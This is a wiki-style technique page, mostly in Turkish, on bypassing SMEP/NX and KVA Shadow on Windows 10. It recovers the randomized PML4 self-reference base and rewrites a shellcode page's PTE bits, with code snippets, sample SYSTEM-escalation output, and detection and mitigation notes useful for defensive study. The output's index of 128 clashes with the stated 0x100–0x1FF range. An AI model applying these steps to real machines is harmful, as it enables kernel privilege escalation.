PML4 self-reference entry KVA Shadow / SMEP bypass¶
Windows x64, page table'ları self-referencing bir PML4 entry'si üzerinden virtual memory'ye map'ler; o entry'yi bir kernel read/write primitive'inden bulmak, bir attacker'ın kendi shellcode page'inin PTE'sini düzenlemesine izin verir — kernel kodunu hiç sızdırmadan SMEP/NX'i yenmek için U/S ve NX bit'lerini flip'leyerek.
Mechanism¶
Note
x64 long mode'da, address translation dört table gezer (PML4 → PDPT → PD → PT). Windows bir self-reference entry kurar: physical pointer'ı PML4 page'inin kendisi olan bir PML4 slot'u. Dört 9-bit index'in tümü self-reference index'i i'ye eşit olan bir virtual address'i walk etmek, walk'un her aşamasının PML4'e geri düşmesine yol açar, dolayısıyla CPU table memory'sini veri olarak döndürür. Bu, tüm paging hiyerarşisini sabit, formülle-türetilmiş bir virtual address'te ulaşılabilir kılar — ek bir mapping gerekmez.
Tarihsel olarak (Win7 → Win10 TH2) index sabit 0x1ED (0b1_1110_1101) idi ve PTE bölgesini base 0xFFFFF680'00000000'a yerleştiriyordu. Dört index'in tümünde i = 0x1ED ile sonuç VA tam olarak 0xFFFFF680'00000000'dır. Windows 10 RS1'den (1607) itibaren index, her boot'ta 0x100–0x1FF aralığına randomize edilir (top bit set kalır ki address canonical bir kernel address olarak kalsın). Base runtime'da kurtarılabilir çünkü kernel onu nt!MmPteBase'te saklar / nt!MiGetPteAddress içinde hesaplar; o fonksiyonun gövdesi (ASLR-randomize edilmiş) base sabitini RAX'a taşır.
Page table'lar veri olduğundan, bir arbitrary kernel read base'i ve herhangi bir page'in PTE'sini keşfeder, bir arbitrary kernel write ise o PTE'yi düzenler. NX bit'ini (bit 63) ve U/S bit'ini (bir user page'i supervisor-owned yaparak) temizlemek, bir user-mode shellcode page'ini kernel-executable bir page'e çevirir — yalnızca user page'lerinin supervisor execution'ını engelleyen SMEP'i ve NX'i atlatarak ve page-table düzenlemesi doğrudan gerçek kernel paging structure'ları üzerinde yapıldığı için KVA Shadow / KPTI altında etkili kalarak.
Walkthrough¶
Windows 10 22H2'deki HEVD arbitrary-write egzersizi (ommadawn46) ve Connor McGarr'ın PTE-overwrite writeup'ı tüm path'i gösterir. İki QWORD-granular primitive varsayılır: bir arbitrary kernel read ve bir arbitrary kernel write.
Step 1 — Randomize edilmiş PTE base'ini (MmPteBase) kurtar.
nt!MiGetPteAddress, base'i bir immediate olarak içerir. Onu arbitrary-read primitive'iyle oku (referans build'de fonksiyon içinde offset +0x13), sonra self-reference index'i türet:
// MiGetPteAddress moves the (randomized) PTE base into RAX, e.g. mov rax, 0xFFFF800000000000
ULONG64 MmPteBase = arb_read(MiGetPteAddress + 0x13); // read the immediate operand
ULONG64 selfref_index = (MmPteBase >> 39) & 0x1FF; // e.g. 0x100..0x1FF, randomized per boot
Step 2 — Compute the PTE address of the shellcode page.
The standard "shift by 9, mask, add base" formula maps any VA to the QWORD that controls it:
# from a user-mode VA to the address of its controlling PTE
shellcode_pte = shellcode_va >> 9
shellcode_pte &= 0x7ffffffff8 # keep 8-byte-aligned PTE index bits
shellcode_pte += MmPteBase # add randomized PTE region base
Step 3 — Read, then rewrite the PTE control bits.
ULONG64 pte = arb_read(shellcode_pte);
pte &= 0x0FFFFFFFFFFFFFFF; // clear NX (bit 63) -> page becomes executable
pte &= ~4ULL; // clear U/S bit (bit 2) -> page becomes supervisor (defeats SMEP)
arb_write(shellcode_pte, pte);
Representative output from the HEVD 22H2 KVAS exploit
[*] Extracted PML4 Self Reference Entry index: 128
[*] PML4E of shellcode page @ FFFF944A25128028
[*] Original PML4E : 8A0000015F3D5867
[*] Modified PML4E : 0A0000015F3D5863 (NX cleared, U/S cleared)
[*] Writing: *(FFFF944A25128028) = modified_value
[*] Redirecting nt!HalDispatchTable+0x8 -> shellcode
[*] whoami -> NT AUTHORITY\SYSTEM
Warning
Editing higher-level entries (PML4E/PDPTE) flips permissions for the entire sub-tree they govern, not a single 4 KB page. The HEVD KVAS PoC edits the PML4E reached via the self-reference index directly; production exploits usually edit only the leaf PTE to minimize the blast radius and reduce PatchGuard / integrity exposure.
Detection¶
- Repeated arbitrary-read accesses into the PTE virtual region (
MmPteBase-relative addresses) followed by a write to a PML4E/PTE controlling a user allocation. - Execution transferring to a user-range VA from kernel context while the corresponding PTE has the U/S bit cleared — observable in hypervisor-assisted introspection.
Mitigation¶
- HVCI / VBS: code-integrity is enforced in the hypervisor; even a U/S- and NX-flipped page is rejected as kernel-executable, breaking the final execution step.
- Kernel CFG: constrains the indirect call used to reach the shellcode (e.g.
HalDispatchTable). - SMAP: blocks the kernel from reading/writing user pages, raising the cost of staging.
- PatchGuard / paging-structure integrity reduces the window for direct PTE edits on monitored ranges.
See also: page-table-entry-overwrite-for-smep-nx-bypass, page-table-manipulation, kva-shadow, kpti, disable-smep-via-cr4-rop.
References¶
- Connor McGarr — Turning the Pages: Introduction to Memory Paging on Windows 10 x64
- Connor McGarr — Leveraging Page Table Entries for Windows Kernel Exploitation
- Morten Schenk — Taking Windows 10 Kernel Exploitation To The Next Level (Black Hat USA 2017, whitepaper)
- ommadawn46 — HEVD Exploit Win10 22H2: Bypassing KVA Shadow and SMEP via PML4 Entry Manipulation
- blahcat — Some toying with the Self-Reference PML4 Entry